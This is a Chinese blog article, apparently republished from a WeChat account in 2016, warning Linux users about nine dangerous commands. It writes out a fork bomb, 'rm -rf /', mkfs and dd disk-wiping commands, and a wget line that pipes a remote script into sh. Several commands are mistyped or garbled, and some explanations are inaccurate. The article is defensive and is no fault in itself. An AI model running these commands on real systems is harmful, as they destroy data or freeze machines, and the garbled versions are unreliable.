9 个使用前必须再三小心的 Linux 命令

Linux Shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。

在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。

一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。

这里我收集了一些对系统有危害的 Linux 代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。

还有一些事情需要注意:一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux,则是在作为根目录命令时会有危害。

1. Linux Fork Bomb Command

: (){ :: & };: 以 Fork Bomb 闻名,是一个拒绝服务攻击的 Linux 系统。: (){ :: & };: 是一个 bash 函数。只要被执行,他会不断重复,直到系统被冻结。

你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。

2. Mv Folder/Dev/Null Command

mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。

3. Rm -Rf Command

rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。

列下m-rf 命令最常见的组合和选择:

  • rm command :删除 Linux 系统的文件
  • rm -f command:不需提示,删除文件中的只读文件
  • rm -r command 循环删除文件夹的内容
  • rm -d command :删除空目录,如果非空目录则不会执行该操作
  • rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令。
  • rm -rf* command :强制删除当前目录中的所有内容(当前工作目录)和字文件夹
  • rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.[^.]*

The rm -r.[^.]* command :删除文件及文件夹,带有删除提示

4. Mkfs Command

如果你不知 mkfs 的作用,那么它也是一个危险的命令,mkfs 之后写的任何命令都将会被一个空白的 linux 文件系统格式化、替代。

下面列举出需要管理员权限,格式化硬盘的命令:

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos mkfs.reiserfs
  • mkfs.vfat

mkfs.cramfs 也可以和上面的代码做同样的事情,不过不需要管理源权限。

5. Tar Bomb

tar 命令用于将多个文件以 .tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到 tar 文件,定期创建一个新的保护目录,然后在解压前将接受的 tar 文件放到这个目录中,你可以避免成为 tar bomb 的受害者。

6. Dd Command

Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举 dd 命令:

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had

7. Shell Script Code

有时候,你可能会被人坑,给你一个 shell 脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。

8. Malicious Source Code

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。

9. Decompression Bomb

你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到 KB。事实上,该小尺寸的压缩文件包含高度压缩数据。

只要文件解压,上百 GB 数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。

原文发布于微信公众号 - java一日一条(mjx_java)

原文发表时间:2016-11-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏王磊的博客

WebStorm文件类型关联设置

无意中创造了一个没有扩展名的文件,我选择了错误的文件类型关联。是js类型的,我却选成了文本,Ws每次编辑类型就成了txt文本,这个问题让我很苦恼,以下是我的解决...

3726
来自专栏京东技术

IntelliJ插件开发-京东工程师教你改造你的IDE

王帅廷,京东 Android高级开发工程师,6年以上开发经验,对设计框架有着深刻的认识,负责京东商城研发工具的开发,设计并完成了多个IntelliJ插件的开发工...

2452
来自专栏Android 研究

Android启动流程——1序言、bootloader引导与Linux启动

前面讲解的很多内容都很抽象,所以本次系列决定"接点地气",准备开始讲解大家熟悉的Activity了,为了让我以及大家更好的理解Activity,我决定本系列...

2641
来自专栏机器学习算法与Python学习

Python:爬虫系列笔记(2) -- 基本了解及urllib的使用

1.什么是爬虫 爬虫,即网络爬虫,大家可以理解为在网络上爬行的一直蜘蛛,互联网就比作一张大网,而爬虫便是在这张网上爬来爬去的蜘蛛咯,如果它遇到资源,那么它就会抓...

3566
来自专栏SDNLAB

P4语言编程快速开始

经过前两篇的P4理论介绍,相信大家已经对P4有个基本的了解了,本片文章为大家带来P4语言编程实战。 1、系统环境安装 P4项目的官方文档上都是以Ubuntu为例...

4146
来自专栏Java成神之路

Tomcat_异常_02_IOException while loading persisted sessions: java.io.EOFException

     EOFException表示输入过程中意外地到达文件尾或流尾的信号,导致从session中获取数据失败。

781
来自专栏从零开始学自动化测试

Locust性能测试1-环境准备与基本使用

提到性能测试,大部分小伙伴想到的就是LR和jmeter这种工具,小编一直不太喜欢写这种工具类的东西,我的原则是能用代码解决的问题,尽量不去用工具。 python...

1511
来自专栏沈唁志

ThinkPHP-PHP开发中的主流框架

7554
来自专栏北京马哥教育

马哥金牌分享 | 十五分钟实现Ansible常用模块入门

本文是马哥教育特约金牌讲师、Linux运维专家魏巍的分享《Anisble常用模块入门指南》的文字整理篇。 朋友们晚上好: 今天我为大家带来的分享是 Ansibl...

4015
来自专栏前端布道

JavaScript设计模式与开发实践 - 观察者模式

概述 观察者模式又叫发布 - 订阅模式(Publish/Subscribe),它定义了一种一对多的关系,让多个观察者对象同时监听某一个目标对象(为了方便理解,以...

3547

扫码关注云+社区

领取腾讯云代金券